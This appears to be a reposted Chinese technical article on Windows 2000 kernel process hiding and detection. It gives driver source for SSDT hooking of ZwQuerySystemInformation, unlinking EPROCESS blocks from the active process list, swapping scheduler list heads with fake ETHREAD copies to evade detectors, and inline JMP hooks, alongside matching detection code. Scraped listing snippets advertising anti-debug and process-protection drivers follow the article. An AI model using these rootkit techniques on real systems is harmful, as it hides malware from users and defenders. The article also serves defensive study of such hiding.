      NtQuerySystemInformation可以对系统的很多状态进行查询,不仅仅是对进程的查询,通过SystemInformationClass号来区分功能,当SystemInformationClass等于5的时候是在进行进程的查询。此时返回的SystemInformation 是一个 _SYSTEM_PROCESSES结构。  
    struct _SYSTEM_PROCESSES  
    {  
        ULONG NextEntryDelta;   //下一个进程信息的偏移量,如果为0表示无一个进程信息  
        ULONG ThreadCount;     //线程数量  
        ULONG Reserved[6];     //  
        LARGE_INTEGER CreateTime;      //创建进程的时间  
        LARGE_INTEGER UserTime;         //进程中所有线程在用户模式运行时间的总和  
        LARGE_INTEGER KernelTime;      //进程中所有线程在内核模式运行时间的总和  
        UNICODE_STRING ProcessName;     //进程的名字  
        KPRIORITYBasePriority;         //线程的缺省优先级  
        ULONG ProcessId;                //进程ID号  
        ULONG InheritedFromProcessId;  //继承语柄的进程ID号  
        ULONG HandleCount;              //进程打开的语柄数量     
        ULONG Reserved2[2];             //   
        VM_COUNTERS VmCounters;         //虚拟内存的使用情况统计  
        IO_COUNTERS IoCounters;         //IO操作的统计,Only For 2000  
        struct _SYSTEM_THREADS Threads[1]; //描述进程中各线程的数组  
    };  
      当NextEntryDelta域等于0时表示已经到了进程信息链的末尾。我们要做的仅仅是把要隐藏的进程从链中删除。  
      4. 核心实现  
    //系统服务表入口地址  
    extern PServiceDescriptorTableEntry KeServiceDescriptorTable;  
    NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) 
    {  
        ……  
        __asm{  
            mov eax, cr0  
            mov CR0VALUE, eax  
            and eax, 0fffeffffh //DisableWriteProtect  
            mov cr0, eax  
        }  
        //取得原来ZwQuerySystemInformation的入口地址  
    RealZwQuerySystemInformation=(REALZWQUERYSYSTEMINFORMATION)(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] );  
        //Hook  
    ((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)]=HookFunc;  
        //EnableWriteProtect  
        __asm  
        {  
            mov eax, CR0VALUE  
            mov cr0, eax  
        }  
        ……  
        return STATUS_SUCCESS;  
    }  
       
    VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject)  
    {  
        ……  
        //UnHook恢复系统服务的原始入口地址  
    ((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] = RealZwQuerySystemInformation;  
        ……  
    }  
       
    NTSTATUS HookFunc(  
            IN ULONG SystemInformationClass,  
            IN PVOID SystemInformation,  
            IN ULONG SystemInformationLength,  
            OUT PULONG ReturnLength)  
    {  
        NTSTATUS rc;  
        struct _SYSTEM_PROCESSES *curr;  
        // 保存上一个进程信息的指针  
        struct _SYSTEM_PROCESSES *prev = NULL;  
        //调用原函数  
        rc = (RealZwQuerySystemInformation) (  
            SystemInformationClass,  
            SystemInformation,  
            SystemInformationLength, ReturnLength);  
        if(NT_SUCCESS(rc))  
        {  
    if(5 == SystemInformationClass)  
    //如果系统查询类型是SystemProcessesAndThreadsInformation  
            {  
                curr = (struct _SYSTEM_PROCESSES *)SystemInformation;  
                //加第一个偏移量得到第一个system进程的信息首地址  
                if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);  
                while(curr)  
                {  
    if(RtlCompareUnicodeString(&hide_process_name, &curr->ProcessName, 1) == 0)  
                    {  
                        //找到要隐藏的进程  
                        if(prev)  
                        {  
                             
                            if(curr->NextEntryDelta)  
                            {  
                                //要删除的信息在中间  
                                prev->NextEntryDelta += curr->NextEntryDelta;  
                            }  
                            else  
                            {  
                                //要删除的信息在末尾  
                                prev->NextEntryDelta = 0;  
                            }  
                        }  
                        else  
                        {  
                            if(curr->NextEntryDelta)  
                            {  
                                //要删除的信息在开头  
                                (char *)SystemInformation += curr->NextEntryDelta;  
                            }  
                            else  
                            {  
                                SystemInformation = NULL;  
                            }  
                        }  
                        //如果链下一个还有其他的进程信息,指针往后移  
                        if(curr->NextEntryDelta)  
    ((char*)curr+=curr->NextEntryDelta);                    else  
                        {  
                            curr = NULL;  
                            break;  
                        }  
                    }  
                    if(curr != NULL)  
                    {  
                        //把当前指针设置成前一个指针,当前指针后移  
                        prev = curr;  
                        if(curr->NextEntryDelta)  
    ((char*)curr+=curr->NextEntryDelta);  
                        else curr = NULL;  
                    }  
                } // end while(curr)  
            }  
        }  
        return rc;  
    }  
      通过IOCTL和Ring3级的应用程序通过DeviceIoControl(API)交互信息。Ring3级的用户程序使用,  
      DeviceIoControl(Handle,IOCTL_EVENT_MSG,ProcessName,ProcessNameLen,  
      NULL,0,& BytesReturned,NULL)来通知驱动程序要隐藏的进程的名字。  
      枚举和修改活动进程链表来检测和隐藏进程  
      1. 介绍EPROCESS块(进程执行块)  
      每个进程都由一个EPROCESS块来表示。EPROCESS块中不仅包含了进程相关了很多信息,还有很多指向其他相关结构数据结构的指针。例如每一个进程里面都至少有一个ETHREAD块表示的线程。进程的名字,和在用户空间的PEB(进程环境)块等等。EPROCESS中除了PEB成员块在是用户空间,其他都是在系统空间中的。   
      2. 查看EPROCESS结构  
    kd> !processfields  
    !processfields  
     EPROCESS structure offsets:  
        Pcb:                               0x0  
        ExitStatus:                        0x6c  
        LockEvent:                         0x70  
        LockCount:                         0x80  
        CreateTime:                        0x88  
        ExitTime:                          0x90  
        LockOwner:                         0x98  
        UniqueProcessId:                   0x9c  
        ActiveProcessLinks:                0xa0  
        QuotaPeakPoolUsage[0]:             0xa8  
        QuotaPoolUsage[0]:                 0xb0  
        PagefileUsage:                     0xb8  
        CommitCharge:                      0xbc  
        PeakPagefileUsage:                 0xc0  
        PeakVirtualSize:                   0xc4  
        VirtualSize:                       0xc8  
        Vm:                                0xd0  
        DebugPort:                         0x120  
        ExceptionPort:                     0x124  
        ObjectTable:                       0x128  
        Token:                             0x12c  
        WorkingSetLock:                    0x130  
        WorkingSetPage:                    0x150  
        ProcessOutswapEnabled:             0x154  
        ProcessOutswapped:                 0x155  
        AddressSpaceInitialized:           0x156  
        AddressSpaceDeleted:               0x157  
        AddressCreationLock:               0x158  
        ForkInProgress:                    0x17c  
        VmOperation:                       0x180  
        VmOperationEvent:                  0x184  
        PageDirectoryPte:                  0x1f0  
        LastFaultCount:                    0x18c  
        VadRoot:                           0x194  
        VadHint:                           0x198  
        CloneRoot:                         0x19c  
        NumberOfPrivatePages:              0x1a0  
        NumberOfLockedPages:               0x1a4  
        ForkWasSuccessful:                 0x182  
        ExitProcessCalled:                 0x1aa  
        CreateProcessReported:             0x1ab  
        SectionHandle:                     0x1ac  
        Peb:                               0x1b0  
        SectionBaseAddress:                0x1b4  
        QuotaBlock:                        0x1b8  
        LastThreadExitStatus:              0x1bc  
        WorkingSetWatch:                   0x1c0  
        InheritedFromUniqueProcessId:      0x1c8  
        GrantedAccess:                     0x1cc  
        DefaultHardErrorProcessing         0x1d0  
        LdtInformation:                    0x1d4  
        VadFreeHint:                       0x1d8  
        VdmObjects:                        0x1dc  
        DeviceMap:                         0x1e0  
        ImageFileName[0]:                  0x1fc  
        VmTrimFaultValue:                  0x20c  
        Win32Process:                      0x214  
      Win32WindowStation:                0x1c4  
      3. 什么是活动进程链表  
      EPROCESS块中有一个ActiveProcessLinks成员,它是一个PLIST_ENTRY机构的双向链表。当一个新进程建立的时候父进程负责完成EPROCESS块,然后把ActiveProcessLinks链接到一个全局内核变量PsActiveProcessHead链表中。

    在PspCreateProcess内核API中能清晰的找到:  
      InsertTailList(&PsActiveProcessHead,&Process->ActiveProcessLinks);  
      当进程结束的时候,该进程的EPROCESS结构当从活动进程链上摘除。(但是EPROCESS结构不一定就马上释放)。  
      在PspExitProcess内核API中能清晰的找到:  
      RemoveEntryList(&Process->ActiveProcessLinks);  
      所以我们完全可以利用活动进程链表来对进程进行枚举。  
      4. 进程枚举检测Hook SSDT隐藏的进程。  
        事实上Nactive API ZwQuerySystemInformation 对进程查询也是找到活动进程链表头,然后遍历活动进程链。最后把每一个EPROCESS中包含的基本信息返回(包括进程ID名字等)。所以用遍历活动进程链表的办法能有效的把Hook SSDT进行隐藏的进程轻而易举的查出来。但是PsActiveProcessHead并没被ntoskrnl.exe 导出来,所以我们可以利用硬编码的办法,来解决这个问题。利用内核调试器livekd查得PsActiveProcessHead的地址为: 0x8046e460.(在2000 sp4中得到的值)  
      kd> dd PsActiveProcessHead L 2  
      dd PsActiveProcessHead L 2  
      8046e460 81829780 ff2f4c80  
      PLIST_ENTRY PsActiveProcessHead = (PLIST_ENTRY)0x8046e460;  
    void DisplayList()  
    {  
    PLIST_ENTRY List = PsActiveProcessHead->Blink;  
    while( List != PsActiveProcessHead )  
    {  
            char* name = ((char*)List-0xa0)+0x1fc;  
            DbgPrint("name = %s\n",name);  
            List=List->Blink;                
    }  
    }  
      首先把List指向表头后的第一个元素。然后减去0xa0,因为这个时候List指向的并不是EPROCESS块的头,而是指向的它的ActiveProcessLinks成员结构,而ActiveProcessLinks在EPROCESS中的偏移量是0xa0,所以需要减去这么多,得到EPROCESS的头部。在EPROCESS偏移0x1fc处是进程的名字信息,所以再加上0x1fc得到进程名字,并且在Dbgview中打印出来。利用Hook SSDT隐藏的进程很容易就被查出来了。  
      5. 解决硬编码问题。  
      在上面我们的PsActiveProcessHead是通过硬编码的形式得到的,在不同的系统中这值不一样。在不同的SP版本中这个值一般也不一样。这就给程序的通用性带来了很大的问题。下面就来解决这个PsActiveProcessHead的硬编码的问题。  
        ntoskrnl.exe导出的PsInitialSystemProcess 是一个指向system进程的EPROCESS。这个结构成员EPROCESS.ActiveProcessLinks.Blink就是指向PsActiveProcessHead的.  
    kd> dd PsInitialSystemProcess L 1  
    dd PsInitialSystemProcess L 1  
    8046e450 818296e0  
    kd> !process 818296e0 0  
    !process 818296e0 0  
    PROCESS 818296e0 SessionId: 0 Cid: 0008    Peb: 00000000 ParentCid: 0000  
        DirBase: 00030000 ObjectTable: 8185d148 TableSize: 141.  
    Image: System  
    可以看出由PsInitialSystemProcess得到的818296e0正是指向System的EPROCESS.  
    kd> dd 818296e0+0xa0 L 2  
    dd 818296e0+0xa0 L 2  
    81829780 814d1a00 8046e460  
    上面又可以看出System EPROCESS的ActiveProcessLinks域的Blink指向8046e460正好就是我们的PsActiveProcessHead.  
      6. 删除活动进程链表实现进程隐藏  
      由于Windows是基于线程调度的。所以如果我们把要隐藏的进程的EPROCESS块从活动进程链上摘除,就能有效的绕过基于通过活动进程链表检测进程的防御系统。因为是以线程为基本单位进行调度,所以摘除过后并不影响隐藏进程的线程调度。  
    void DelProcessList()  
    {  
        PLIST_ENTRY List = PsActiveProcessHead->Blink;  
        while( List != PsActiveProcessHead )  
        {  
            char* name = ((char*)List-0xa0)+0x1fc;       
            if ( !_stricmp(name,"winlogon.exe") )  
            {  
                DbgPrint("remove %s \n",name);  
                RemoveEntryList(List);  
            }  
            List=List->Blink;                
        }  
    }  
      首先和上面的程序一样得到PsActiveProcessHead 头的后面第一个EPROCESS块。然后和我们要隐藏的进程名字进行对比,如果不是指针延链下移动。如果是就把EPROCESS块从活动进程链上摘除。一直到遍历完一次活动进程的双向链表。当摘除指定进程的EPROCESS块后可以发现任务管理器里面的指定的进程消失了,然后又用上面的基于活动进程链表检测进程的程序一样的发现不到隐藏的进程。  
      基于线程调度链表的检测和隐藏技术  
      1. 什么是ETHREAD和KTHREAD块  
      Windows2000是由执行程序线程(ETHREAD)块表示的,ETHREAD成员都是指向的系统空间,进程环境块(TEB)除外。ETHREAD块中的第一个结构体就是内核线程(KTHREAD)块。在KTHREAD块中包含了windows2000内核需要访问的信息。这些信息用于执行线程的调度和同步正在运行的线程。  
    kd> !kthread  
    struct   _KTHREAD (sizeof=432)  
    +000 struct   _DISPATCHER_HEADER Header  
    +010 struct   _LIST_ENTRY MutantListHead  
    +018 void     *InitialStack  
    +01c void     *StackLimit  
    +020 void     *Teb  
    +024 void     *TlsArray  
    +028 void     *KernelStack  
    +02c byte     DebugActive  
    +02d byte     State  
    +02e byte     Alerted[2]  
    +030 byte     Iopl  
    +031 byte     NpxState  
    +032 char     Saturation  
    +033 char     Priority  
    +034 struct   _KAPC_STATE ApcState  
    +034    struct   _LIST_ENTRY ApcListHead[2]  
    +044    struct   _KPROCESS *Process  
    +04c uint32   ContextSwitches  
    +050 int32    WaitStatus  
    +054 byte     WaitIrql  
    +055 char     WaitMode  
    +056 byte     WaitNext  
    +057 byte     WaitReason  
    +058 struct   _KWAIT_BLOCK *WaitBlockList  
    +05c struct   _LIST_ENTRY WaitListEntry  
    +064 uint32   WaitTime  
    +068 char     BasePriority  
    +069 byte     DecrementCount  
    +06a char     PriorityDecrement  
    +06b char     Quantum  
    +06c struct   _KWAIT_BLOCK WaitBlock[4]  
    +0cc void     *LegoData  
    +0d0 uint32   KernelApcDisable  
    +0d4 uint32   UserAffinity  
    +0d8 byte     SystemAffinityActive  
    +0d9 byte     PowerState  
    +0da byte     NpxIrql  
    +0db byte     Pad[1]  
    +0dc void     *ServiceTable  
    +0e0 struct   _KQUEUE *Queue  
    +0e4 uint32   ApcQueueLock  
    +0e8 struct  _KTIMER Timer  
    +110 struct   _LIST_ENTRY QueueListEntry  
    +118 uint32   Affinity  
    +11c byte     Preempted  
    +11d byte     ProcessReadyQueue  
    +11e byte     KernelStackResident  
    +11f byte     NextProcessor  
    +120 void     *CallbackStack  
    +124 void     *Win32Thread  
    +128 struct   _KTRAP_FRAME *TrapFrame  
    +12c struct   _KAPC_STATE *ApcStatePointer[2]  
    +134 char     PreviousMode  
    +135 byte     EnableStackSwap  
    +136 byte     LargeStack  
    +137 byte     ResourceIndex  
    +138 uint32   KernelTime  
    +13c uint32   UserTime  
    +140 struct   _KAPC_STATE SavedApcState  
    +158 byte     Alertable  
    +159 byte     ApcStateIndex  
    +15a byte     ApcQueueable  
    +15b byte     AutoAlignment  
    +15c void     *StackBase  
    +160 struct   _KAPC SuspendApc  
    +190 struct   _KSEMAPHORE SuspendSemaphore  
    +1a4 struct   _LIST_ENTRY ThreadListEntry  
    +1ac char     FreezeCount  
    +1ad char     SuspendCount  
    +1ae byte     IdealProcessor  
    +1af byte     DisableBoost  
      在偏移0x5c处有一个WaitListEntry成员,这个就是用来链接到线程调度链表的。在偏移0x34处有一个ApcState成员结构,在ApcState中的Process域就是指向当前线程关联的进程的KPROCESS块,由于KPROCESS块是EPROCESS块的第一个元素,所以找到了KPROCESS块指针也就是找到了EPROCESS块的指针。找到了EPROCESS就不用多少了,就可以取得当前线程的进程的名字,ID号等。  
      2. 线程调度  
      在windows系统中,线程调度主要分成三条主要的调度链表。分别是KiWaitInListHead, KiWaitOutListhead,KiDispatcherReadyListHead,分别是两条阻塞链,一条就绪链表,当线程获得CPU执行的时候,系统分配一, , 个时间片给线程,当发生一次时钟中断就从分配的时间片上减去一个时钟中断的值,如果这个值小于零了也就是时间片用完了,那么这个线程根据其优先级载入到相应的就绪队列末尾。KiDispatcherReadyListHead是一个数组链的头部,在windows 2000中它包含有32个队列,分别对应线程的32个优先级。如果线程因为同步,或者是对外设请求,那么阻塞线程,让出CPU的所有权,加如到阻塞队列里面去。CPU从就绪队列里面,按照优先权的前后,重新调度新的线程的执行。当阻塞队列里面的线程获得所需求的资源,或者是同步完成就又重新加到就绪队列里面等待执行。  
      3.通过线程调度链表进行隐藏进程的检测  
    void DisplayList(PLIST_ENTRY ListHead)  
    {  
        PLIST_ENTRY List = ListHead->Flink;  
        if ( List == ListHead )  
        {  
        // DbgPrint("return\n");  
            return;  
        }  
        PLIST_ENTRY NextList = List;  
        while ( NextList != ListHead )  
        {  
            PKTHREAD Thread = ONTAINING_RECORD(NextList, KTHREAD, WaitListEntry);  
            PKPROCESS Process = Thread->ApcState.Process;  
            PEPROCESS pEprocess = (PEPROCESS)Process;  
            DbgPrint("ImageFileName = %s \n",pEprocess->ImageFileName);  
            NextList = NextList->Flink;  
        }  
    }  
      以上是对一条链进行进程枚举。所以我们必须找到KiWaitInListHeadKiWaitOutListheadKiDispatcherReadyListHead的地址,由于他们都没有被ntoskrnl.exe导出来,所以只有通过硬编码的办法给他们赋值。通过内核调试器,能找到(windows2000 sp4):  
    PLIST_ENTRY KiWaitInListHead =          (PLIST_ENTRY)0x80482258;  
    PLIST_ENTRY KiDispatcherReadyListHead = (PLIST_ENTRY)0x804822e0;  
    PLIST_ENTRY KiWaitOutListhead =         (PLIST_ENTRY)0x80482808;  
      遍历所有的线程调度链表。  
    for ( i =0; i<32 ;i++ )  
    {  
        DisplayList(KiDispatcherReadyListHead+i);  
    }  
    DisplayList(KiWaitInListHead);  
    DisplayList(KiWaitOutListhead);  
      通过上面的那一小段核心代码就能把删除活动进程链表的隐藏进程给查出来。也可以改写一个友好一点的驱动,加入IOCTL,得到的进程信息把打印在DbgView中把它返回给Ring3的应用程序,然后应用程序对返回的数据进行处理,和Ring3级由PSAPI得到的进程对比,然后判断是不是有隐藏的进程。  
        4.绕过内核调度链表隐藏进程。  
      Xfocus上SoBeIt提出了绕过内核调度链表进程检测。详情可以参见原文:  
      http://www.xfocus.net/articles/200404/693.html  
      由于现在的基于线程调度的检测系统都是通过内核调试器得硬编码来枚举所有的调度线程的,所以我们完全可以自己创造一个那三个调度链表头,然后把原链表头从链中断开,把自己的申请的链表头接上去。由于线程调度的时候会用到KiFindReadyThread等内核API,在KiFindReadyThread里面又会去访问KiDispatcherReadyListHead,所以我完全可以把KiFindReadyThread中那段访问KiDispatcherReadyListHead的机器码修改了,把原KiDispatcherReadyListHead的地址改成我们新申请的头。  
    kd> u KiFindReadyThread+0x48  
    nt!KiFindReadyThread+0x48:  
    804313db 8d34d5e0224880 lea esi,[nt!KiDispatcherReadyListHead (804822e0)+edx*8]  
      很明显我们可以在机器码中看到e0224880,由于它是在内存中以byte序列显示的转换成DWORD就是804822e0就是我们KiDispatcherReadyListHead的地址。所以我们要做的就是把[804313db+3]赋值成我们自己申请的一个链头。使其系统以后对原链表头的操作变化成对我们自己申请的链表头的操作。同理用到那三个链表头的还有一些内核API,所以必须找到他们在机器码中含有原表头地址信息的具体地址然后把它全部替换掉。不然系统调度就会出错.系统中用到KiWaitInListHead的例程:KeWaitForSingleObject、 KeWaitForMultipleObject、 KeDelayExecutionThread、 KiOutSwapKernelStacks。用到KiWaitOutListHead的例程和KiWaitInListHead的一样。使用KiDispatcherReadyListHead的例程有:KeSetAffinityThread、KiFindReadyThread、KiReadyThread、KiSetPriorityThread、NtYieldExecution、KiScanReadyQueues、KiSwapThread。  
      申请新的表头空间:  
    pNewKiWaitInListHead = (PLIST_ENTRY)ExAllocatePool \  
                            (NonPagedPool,sizeof(LIST_ENTRY)); 
    pNewKiWaitOutListHead = (PLIST_ENTRY)ExAllocatePool \  
                            (NonPagedPool, sizeof(LIST_ENTRY));  
    pNewKiDispatcherReadyListHead = (PLIST_ENTRY)ExAllocatePool \  
                            (NonPagedPool, 32 * sizeof(LIST_ENTRY));  
      
      下面仅仅以pNewKiWaitInListHead头为例,其他的表头都是一样的操作。  
      新调度链表的表头替换:  
      InitializeListHead(pNewKiWaitInListHead);    
      把原来的系统链表头摘除,把新的接上去:  
    pFirstEntry = pKiWaitInListHead->Flink; 
    pLastEntry = pKiWaitInListHead->Blink; 
    pNewKiWaitInListHead->Flink = pFirstEntry; 
    pNewKiWaitInListHead->Blink = pLastEntry; 
    pFirstEntry->Blink = pNewKiWaitInListHead; 
    pLastEntry->Flink = pNewKiWaitInListHead;  
       剩下的就是在原来的线程调度链表上做文章了使其基于线程调度检测系统看不出什么异端.  
    for(;;)  
    {  
        InitializeListHead(pKiWaitInListHead);  
        for(pEntry = pNewKiWaitInListHead->Flink;  
        pEntry && pEntry != pNewKiWaitInListHead;  
        pEntry = pEntry->Flink)  
    {  
    pETHREAD = (PETHREAD)(((PCHAR)pEntry)-0x5c);  
    pEPROCESS = (PEPROCESS)(pETHREAD->Tcb.ApcState.Process);  
            PID = *(PULONG)(((PCHAR)pEPROCESS)+0x9c);  
            if(PID == 0x8)  
                     continue;  
    pFakeETHREAD = ExAllocatePool(PagedPool,sizeof(FAKE_ETHREAD));  
            memcpy(pFakeETHREAD, pETHREAD,sizeof(FAKE_ETHREAD));  
            InsertHeadList(pKiWaitInListHead, &pFakeETHREAD->WaitListEntry);  
    }  
    ...休息一段时间  
    }  
      首先每过一小段时间就把原来的线程调度链表清空,然后遍历当前的线程调度链,判断链中的每一个KPROCESS块是不是要属于要隐藏的进程线程,如果是就跳过,不是就自己构造一个ETHREAD块把当前的信息拷贝过去,然后把自己构造的ETHREAD块加入到原来的调度链表中。为什么要自己构造一个ETHREAD?其原因主要有2个,其一为了使检测系统看起来更可信,如果仅仅清空原来的线程调度链表那么检测系统将查不出来任何的线程和进程信息,  
      很明显,这无疑不打自招的说,系统里面已经有东西了。其二,如果把自己构造的ETHREAD块挂接在原调度链表中,检测系统会访问挂在原来调度链表上的ETHREAD块里面的成员,如果不自己构造一个和真实ETHREAD块重要信息一样的块,那么检测系统很有可能出现非法访问,然后就boom兰屏了。  
        实际上所谓的绕过系统检测仅仅是针对基于线程调度的检测进程的防御系统而言的,其实系统依旧在进行线程调度,访问的是我们新建的链表头部。而检测系统访问的是原来的头部,他后面的数据项是我们自己申请的,系统并不访问。  
      5.检测绕过内核调度链表隐藏进程  
      一般情况下我们是通过内核调试器得到那三条链表的内核地址,然后进行枚举。这就给隐藏者留下了机会,如上面所示。但是我们完全可以把上面那种隐藏进程检测出来。我们也通过在内核函数中取得硬编码的办法来分别取得他们的链表头的地址。如上面我们已经看见了 KiFindReadyThread+0x48+3出就是KiDispatcherReadyListHead的地址,如果用上面的绕过内核调度链表检测办法同时也去要修改KiFindReadyThread+0x48+3的值为新链表的头部地址。所以我们的检测系统完全可以从KiFindReadyThread+0x48+3(0x804313de)去取得KiDispatcherReadyListHead的值。同理KiWaitInListHead, KiWaitOutListhead也都到使用他们的相应的内核函数里面去取得地址。就算原地址被修改过,我们也能把修改过后的调度链表头给找出来。所以欺骗就不行了。  
      Hook 内核函数(KiReadyThread)检测进程  
      1.介绍通用Hook内核函数的方法  
      当我们要拦截目标函数的时候,只要修改原函数头5个字节的机器代码为一个JMP XXXXXXXX(XXXXXXXX是距自己的Hook函数的偏移量)就行了。并且保存原来修改前的5个字节。在跳入原函数时,恢复那5个字节即可。  
    char JmpMyCode [] = {0xE9,0x00,0x00,0x00,0x00};//E9对应Jmp偏移量指令  
    *((ULONG*)(JmpMyCode+1))=(ULONG)MyFunc-(ULONG)OrgDestFunction-5;//获得偏移量  
    memcpy(OrgCode,(char*)OrgDestFunction,5);//保存原来的代码  
    memcpy((char*)OrgDestFunction,JmpMyCode,5);//覆盖前一个命令为一个跳转指令  
      在系统内核级中,MS的很多信息都没公开,包括函数的参数数目,每个参数的类型等。在系统内核中,访问了大量的寄存器,而很多寄存器的值,是上层调用者提供的。如果值改变系统就会变得不稳定。很可能出现不可想象的后果。另外有时候对需要Hook的函数的参数不了解,所以不能随便就去改变它的堆栈,如果不小心也有可能导致蓝屏。所以Hook的最佳原则是在自己的Hook函数中呼叫原函数的时候,所有的寄存器值,堆栈里面的值和Hook前的信息一样。这样就能保证在原函数中不会出错。一般我们自己的Hook的函数都是写在C文件里面的。例如Hook的目标函数KiReadyThread。那么一般就自己实现一个:  
    MyKiReadyThread(...)  
    {  
        ......  
        call KiReadyThread  
        ......  
    }  
    但是用C编译器编译出来的代码会出现一个堆栈帧:  
    Push ebp  
    mov ebp,esp  
    这就和我们的初衷不改变寄存器的数违背了。所以我们可以自己用汇编来实MyKiReadyThread。  
    _MyKiReadyThread @0 proc  
        pushad      ;保存通用寄存器  
        call _cfunc@0 ;这里是在进入原来函数前进行的一些处理。  
        popad       ;恢复通用寄存器  
        push eax    
        mov eax,[esp+4] ;得到系统在call 目标函数时入栈的返回地址。  
        mov ds:_OrgRet,eax ;保存在一个临时变量中  
        pop eax  
    mov [esp],retaddr ;把目标函数的返回地址改成自己的代码空间的返回地址,使其返回后能接手继续的处理  
        jmp _OrgDestFunction ;跳到原目标函数中  
    retaddr:  
        pushad         ;原函数处理完后保存寄存器  
        call _HookDestFunction@0 ;再Hook  
        popad ;回复寄存器  
        jmp ds:_OrgRet ;跳到系统调用目标函数的下一条指令。  
    _MyKiReadyThread@0 endp  
      在实现了Hook过后在当调用原来的函数时(jmp _OrgDestFunction),这个时候所以寄存器的值和堆栈信息和没Hook的时候一样。在返回到系统的时候(jmp ds:_OrgRet),这个时候的堆栈信息和寄存器的值和没有Hook的时候也是一样。就说是中间Hook层对下面和上面都是透明的。  
      2. 检测隐藏进程  
      在线程调度抢占的的时候会调用KiReadyThread,它的原型为:  
      VOID FASTCALL KiReadyThread (IN PRKTHREAD Thread);  
      在进入KiReadyThread时,ecx指向Thread。所以完全可以Hook KiReadyThread 然后用ecx的值得到但前线程的进程信息。KiReadyThread没被ntosknrl.exe导出,所以通过硬编码来。在2000Sp4中地址为0x8043141f。  
    void cfunc (void)  
    {  
        ULONG PKHeader=0;  
        __asm  
        {  
            mov PKHeader,ecx //ecx寄存器是KiReadyThread中的PRKTHREAD参数  
        }  
        ResumeDestFunction(); //恢复头5个字节  
         
        if ( PKHeader != 0 )  
        {  
            DisplayName((PKTHREAD)PKHeader);     
        }    
    }  
    cfun是Hook函数调用用来得到当前线程抢占的进程信息的。  
     void DisplayName(PKTHREAD Thread)  
    {  
        PKPROCESS Process = Thread->ApcState.Process;  
        PEPROCESS pEprocess = (PEPROCESS)Process;  
        DbgPrint("ImageFileName = %s \n",pEprocess->ImageFileName);  
    }  
    void HookDestFunction() //设置头个字节为一个跳转指令,跳到自己的函数中去  
    {  
        DisableWriteProtect(&orgcr0);  
        memcpy((char*)OrgDestFunction,JmpMyCode,5);  
        EnableWriteProtect(orgcr0);  
    }  
    void ResumeDestFunction() //恢复头5个字节  
    {  
        DisableWriteProtect(&orgcr0);  
        memcpy((char*)OrgDestFunction,OrgCode,5);  
        EnableWriteProtect(orgcr0);  
    }  
      除了KiReadyThread其他还可以Hook其他内核函数,只有hook过后能得到线程或者是进程的ETHREAD或者是EPROCESS结构头地址。其Hook的方法都是一样的。Hook KiReadyThread基本原来说明了,详细实现可以见我的另外一篇文章《内核级利用通用Hook函数方法检测进程》。  
      结论  
        以上对内核级进程隐藏和侦测做了一个总结和对每一种方法的原理进行的详细阐述,并给出了核心的实现代码。  
        信息安全将是未来发展的一个重点,攻击和侦测都有一个向底层靠拢的趋势。进程隐藏和侦测只是信息安全中的很小的一个部分。未来病毒和反病毒底层化是一个不可逆转的事实。通过对系统系统底层分析能更好的了解病毒技术,从而能够有效的进行查杀。为以后从事信息安全方面的研究奠定一个好的基础。

    转载于:https://www.cnblogs.com/MaxWoods/p/3908970.html

    展开全文
  • 学习了EPROCESS里的部分成员,其中 ActiveProcessLinks 是进程链表,我们可以通过对其断链实现进程隐藏,DebugPort 是调试端口,抹除它的值可以使三环调试器调试崩溃。 本次课我们来学习线程结构体 ETHREAD,了解其...
  • 论文关键字: 内核 拦截 活动进程链表 系统服务派遣表 线程调度链 驱动程序简介 论文摘要:信息对抗是目前计算机发展的一个重要的方向,为了更好的防御,必须去深入的了解敌人进攻的招式。信息对抗促使信息...
  • 学习了EPROCESS里的部分成员,其中 ActiveProcessLinks 是进程链表,我们可以通过对其断链实现进程隐藏,DebugPort 是调试端口,抹除它的值可以使三环调试器调试崩溃。 本次课我们来学习线程结构体 E...
  • 驱动含有 进程保护 线程保护 进程隐藏。 内含 驱动保护 反OD调试附加 系统卡机防御。 这款保护的商业版本支持 32位 64位 双驱动 防御效果更强大。 资源作者: 易语言源码 资源界面:...
  • 进程执法官是一款强大的进程管理工具,它通过对普通进程、网络进程、隐藏进程的实时监视与查杀,确保系统的安全,让各类非法进程无所遁形。“进程执法官”将帮你简单的解决所有的进程问题,无论你是新手还是老手,都...
  • 驱动开发教程

    2018-05-07 23:41:42
    |-DKOM隐藏进程+保护进程 |-枚举和隐藏内核模块 |-强制结束进程 |-强制读写进程内存 |-枚举消息钩子 |-强制解锁文件 |-初步探索PE32+格式文件 ------------------------------ 6.用户态HOOK与UNHOOK |-RING3...
  • 6种进程防杀方案和源码.rar

    热门讨论 2010-09-27 14:30:31
    优点:ring3实现的进程隐藏,无驱动,能在任务管理器里隐藏进程 缺点:只能在nt2000下隐藏进程,通用性较差 3.detours库实现进程防杀 原理:和2类似,hook OpenProcess 来防杀进程 优点:防杀能力和通用性都较强,在nt2000,...
  • 3、可以查看应用程序(类似于任务管理器)、普通进程(与任务管理器类似)、网络 进程(TCP-UDP端口关联进程)、隐藏进程(通过各种HOOK技术隐藏的进程)的详细信 息,并能对进程进行各种操作。...
  • |-DKOM隐藏进程+保护进程 |-枚举和隐藏内核模块 |-强制结束进程 |-强制读写进程内存 |-枚举消息钩子 |-强制解锁文件 |-初步探索PE32+格式文件 ------------------------------ 6.用户态HOOK与UNHOOK |-RING3...
  • 时间:2020-2021 R3层的各种探索与尝试已经...该内核模块主要包含:驱动tcp通信(修改自开源代码,修复了2处蓝屏bug)、文件强制删除、驱动隐藏、内核对象回调,线程进程模块回调、键鼠操作模拟、自身驱动防patch、内存
  • 1.目前本工具 通过系统底层方式枚举进程,可以轻易的将系统中所有进程(包括隐藏进程)显示出来; 2.本工具 提供三种方式来结束进程,分为:普通结束、强制结束、驱动结束; 3.如果遇到无法终止的进程, 可以右键弹...
  • 信号signal 信号是给进程的事件通知,可以完成进程间一异步通信, Unix信号利用进程间通信向进程1发送...32 33 隐藏保留信号,给NTPL线程库使用 函数产生信号(显示请求) (1)kill(pid_t pid , int signo) 像任意进程
  • 进程间通信的一个例子

